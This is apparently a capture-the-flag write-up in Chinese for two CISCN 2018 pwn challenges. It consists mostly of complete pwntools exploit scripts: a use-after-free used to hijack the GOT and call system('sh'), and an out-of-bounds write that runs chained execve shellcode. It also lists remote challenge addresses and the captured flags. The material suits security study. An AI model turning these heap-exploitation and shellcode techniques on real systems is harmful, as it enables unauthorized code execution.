ciscn2018-pwn-wp

前言

2018全国大学生网络安全竞赛 ，做了2 道题

task_supermarket

change_desc 里面调用 realloc 会触发 uaf

利用 uaf 修改 obj->desc_ptr 为 atoi@got , 泄露 libc, 使用 libc-database 找到相应的 libc
修改 atoi@got 为 system ,然后 输入 sh , getshell

from pwn import *
from time import sleep
context(os='linux', log_level='info')
context.terminal = ['tmux', 'splitw', '-h']
# p = process("./task_supermarket")
p = remote("117.78.43.197", 32138)
def add(name, price, descrip_size, description):
    sleep(0.2)
    p.recvuntil("your choice>> ")
    p.sendline('1')
    p.recvuntil("name:")
    sleep(0.2)
    p.sendline(name)    
    p.recvuntil("price:")
    sleep(0.2)
    p.sendline(str(price))
    p.recvuntil("descrip_size:")
    sleep(0.2)
    p.sendline(str(descrip_size))
    p.recvuntil("description:")
    sleep(0.1)
    p.send(description)



def free(name):
    p.recvuntil("your choice>> ")
    p.sendline('2')
    p.recvuntil("name:")
    sleep(0.2)
    p.sendline(name)   

def list():
    p.recvuntil("your choice>> ")
    p.sendline('3')

def change_price(name,  value):
    p.recvuntil("your choice>> ")
    p.sendline('4')
    p.recvuntil("name:")
    p.sendline(name)   
    p.recvuntil("input the value you want to cut or rise in:")
    p.sendline(str(value))

def change_desc(name, descrip_size, description):
    p.recvuntil("your choice>> ")
    p.sendline('5')
    p.recvuntil("name:")
    sleep(0.2)
    p.sendline(name)   
    p.recvuntil("descrip_size:")
    sleep(0.2)
    p.sendline(str(descrip_size))
    p.recvuntil("description:")
    sleep(0.2)
    p.send(description)




add('0', 80, 0x1c, '\n')
add('1', 80, 0x1c, '\n')
add('2', 80, 0x1c, '\n')
add('3', 80, 0x1c, '\n')

change_desc('1', 0x30, '\n')

add('4', 80, 0x1c, '\n')
add('5', 80, 0x80, '\n')


read_got = 0x0804B010
atoi_got = 0x0804B048

payload = p32(0x34)
payload += p32(0) * 3
payload += p32(0x50)
payload += '\x90\n'
change_desc('1', 0x1c, payload)

payload = '\x00' * (0x20 - 8)
payload += p32(0)
payload += p32(0x21)
payload += p32(0x35)
payload += p32(0) * 3
payload += p32(0x50)
payload += p32(0x90)
payload += p32(atoi_got)
change_desc('4', 0x90, payload + '\n')

list()
p.recvuntil("5: price.80, des.")

libc = ELF("/home/haclh/workplace/libc-database/db/libc6-i386_2.23-0ubuntu9_amd64.so")
leak = u32(p.recv(4))
libc.address = leak - libc.symbols['atoi']
info("libc: " + hex(libc.address))
info("leak: " + hex(leak))

payload = p32(libc.symbols['system'])
change_desc('5', 0x90, payload + '\n')


# gdb.attach(p)
# pause()
p.recvuntil("your choice>> ")
p.sendline("sh")


p.interactive()

flag: ciscn{1beba07b6a3232220b92429c6a0ac1e4}

task_note_service2

add 的时候会越界。

程序没开 nx, 利用越界改 exit@got 为 堆地址，然后布置 shellcode , 由于严格控制大小。使用 短跳转 连接各条 shellcode 需要的语句。用到的 shellcode 为

xor esi, esi
push rsi
push rsi
mov  ebx, 0x6e69622f
mov [rsp], ebx
mov  ebx, 0x68732f2f
mov [rsp+4], ebx
mov rdi, rsp
push 0x3b
pop rax
xor rdx,rdx
syscall

最终 exp

from pwn import *
from time import sleep
context(os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
# p = process("./task_note_service2")
p = remote("49.4.23.165", 32510)

base = 0x555555554000

def add(idx, content):
    sleep(0.2)
    p.recvuntil("your choice>> ")
    p.sendline('1')
    p.recvuntil("index:")
    sleep(0.2)
    p.sendline(str(idx))
    p.recvuntil("size:")
    sleep(0.2)
    p.sendline(str(len(content)))
    p.recvuntil("content:")
    sleep(0.2)
    p.send(content)


def free(idx):
    p.recvuntil("your choice>> ")
    p.sendline('2')
    p.recvuntil("index:")
    sleep(0.2)
    p.sendline(str(idx))

gdb_command = '''
x/20xg {}
break *0x0000555555757030
c
'''.format(hex(base + 0x2020A0))

add(-7, '\x90\x31\xf6\x56\x56\xeb\x19\n')  # exit ---> shellocde
add(0,  '\xbb\x2f\x62\x69\x6e\xeb\x19\n')  # push
add(1,  '\x90\x90\x89\x1c\x24\xeb\x19\n')  # push
add(2,  '\xbb\x2f\x2f\x73\x68\xeb\x19\n')  # push
add(3,  '\x89\x5c\x24\x04\x90\xeb\x19\n')  # push
add(4,  '\x48\x89\xe7\x6a\x3b\xeb\x19\n')  # push
add(5,  '\x58\x48\x31\xd2\x0f\x05\n')  # push
# gdb.attach(p, gdb_command)
# pause()

p.recvuntil("your choice>>")
p.sendline("5")
p.interactive()
'''
xor esi, esi
push rsi
push rsi
mov  ebx, 0x6e69622f
mov [rsp], ebx
mov  ebx, 0x68732f2f
mov [rsp+4], ebx
mov rdi, rsp
push 0x3b
pop rax
xor rdx,rdx
syscall
'''

flag: ciscn{133fb0f0ca3ddf24964975f1ab94d082}